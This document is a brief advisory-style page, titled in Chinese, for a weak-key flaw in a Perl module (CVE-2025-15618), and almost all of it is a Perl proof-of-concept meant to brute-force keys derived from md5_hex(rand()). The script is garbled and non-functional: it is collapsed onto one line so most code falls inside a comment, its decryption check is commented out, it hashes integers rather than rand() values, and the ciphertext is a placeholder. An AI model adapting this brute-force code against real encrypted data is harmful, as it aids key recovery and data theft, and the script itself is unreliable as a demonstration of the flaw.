CVE-2025-15618 Perl模块弱加密密钥漏洞

#!/usr/bin/perl use strict; use warnings; use Digest::MD5 qw(md5_hex); # PoC for CVE-2025-15618: Weak Key Generation # This script demonstrates the feasibility of brute-forcing the secret key # generated by MD5(rand()). print "[*] Starting PoC for CVE-2025-15618...\n"; my $captured_ciphertext = "..."; # Replace with actual captured encrypted data my $found_key = ""; # The vulnerable module uses a single call to rand(). # Depending on the Perl version and platform, rand() might have limited precision. # We iterate through a reasonable range of possible rand() outputs to simulate the attack. # Note: Real-world exploitation depends on the specific rand() implementation details. my $max_attempts = 100000; for (my $i = 0; $i < $max_attempts; $i++) { # Simulate the vulnerable key generation logic # my $key = md5_hex(rand()); # We simulate 'rand' returning a value or just iterate integers to represent limited entropy space my $simulated_rand = $i; my $potential_key = md5_hex($simulated_rand); # In a real attack, check if this key decrypts the ciphertext successfully # if (decrypt($potential_key, $captured_ciphertext) =~ /\d{16}/) { # $found_key = $potential_key; # last; # } } if ($found_key) { print "[+] Key found: $found_key\n"; } else { print "[-] Key not found in limited simulation. Adjust range based on system rand().\n"; }